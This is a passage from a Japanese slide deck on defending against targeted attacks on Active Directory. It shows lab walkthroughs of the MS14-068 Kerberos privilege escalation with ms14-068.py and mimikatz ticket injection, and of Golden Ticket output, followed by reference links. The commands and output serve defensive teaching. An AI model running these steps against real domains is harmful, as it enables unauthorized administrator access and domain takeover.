More Related Content Similar to 標的型攻撃からどのように身を守るのか Similar to 標的型攻撃からどのように身を守るのか(20) More from abend_cve_9999_0001 More from abend_cve_9999_0001(20) 標的型攻撃からどのように身を守るのか
60. MS14-068は特権のないアカウントが管理者
アカウントに権限昇格が可能です。
#python ms14-068.py -u user01@apt.local ****** ******
Password:
[+] Building AS-REQ for 192.168.175.154... Done!
~ ~ ~ ~ ~省略~ ~ ~ ~ ~
[+] Parsing TGS-REP from 192.168.175.154... Done!
[+] Creating ccache file 'TGT_user01@apt.local.ccache'... Done!
mimikatz # kerberos::ptc TGT_user01@apt.local.ccache
Start/End/MaxRenew: 2017/07/19 5:02:32 ; 2017/07/19 15:02:32 ; 2017/07/26 5:02:32
Service Name (01) : krbtgt ; APT.LOCAL ; @ APT.LOCAL
Target Name (01) : krbtgt ; APT.LOCAL ; @ APT.LOCAL
Client Name (01) : user01 ; @ APT.LOCAL
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
2ef1173411225b67631ce66964f7c478
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK
>dir APTDC.APT.LOCALc$
ドライブ APTDC.APT.LOCALc$ のボリューム ラベルがありません。
ボリューム シリアル番号は DE13-FB18 です
APTDC.APT.LOCALc$ のディレクトリ
2009/07/14 12:20 <DIR> PerfLogs
2017/07/15 23:08 <DIR> Program Files
2017/07/15 23:08 <DIR> Program Files (x86)
2017/07/15 23:06 <DIR> Users
2017/07/15 23:49 <DIR> Windows
0 個のファイル 0 バイト
5 個のディレクトリ 32,835,375,104 バイトの空き領域
MS14-068の場合
権限昇格済みのCredential
Cacheを生成
生成したCredential
Cacheを取り込む
Administratorとしてアクセス
105. Session KeyがnullでもGolden Ticketとして利用
することができることから、ADではSession Keyの正
当性について確認されていないと推測しています。
2.Golden Ticket
Kerberos TGT of current session :
Start/End/MaxRenew: 2017/08/08 20:26:40 ; 2027/08/06 20:26:40 ; 2027/
08/06 20:26:40
Service Name (02) : krbtgt ; PENTEST.LOCAL ; @ PENTEST.LOCAL
Target Name (--) : @ PENTEST.LOCAL
Client Name (01) : nonenuser ; @ PENTEST.LOCAL
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
0000000000000000000000000000000000000000000000000000000000000000
Ticket : 0x00000012 - aes256_hmac ; kvno = 0
[...]
** Session key is NULL! It means allowtgtsessionkey is not set to 1 **
133. • http://www.eventhelix.com/RealtimeMantra/Networking/kerberos/kerberos-sequence-
diagram.pdf
• https://msdn.microsoft.com/ja-jp/library/dn751047(v=ws.11).aspx
• https://stackoverflow.com/questions/15603628/how-to-calculate-ntlm-hash-in-python
• https://www.blackhat.com/docs/us-15/materials/us-15-Metcalf-Red-Vs-Blue-Modern-
Active-Directory-Attacks-Detection-And-Protection-wp.pdf
• https://www.microsoft.com/en-us/download/details.aspx?id=46899
• https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-
authentication-why-it-should-not-be-disabled.aspx
• https://technet.microsoft.com/en-us/mt227395.aspx
• https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51
• https://blogs.technet.microsoft.com/janelewis/2006/12/19/the-krbtgt-account-what-is-
it/
• https://adsecurity.org/?p=2011
参考URL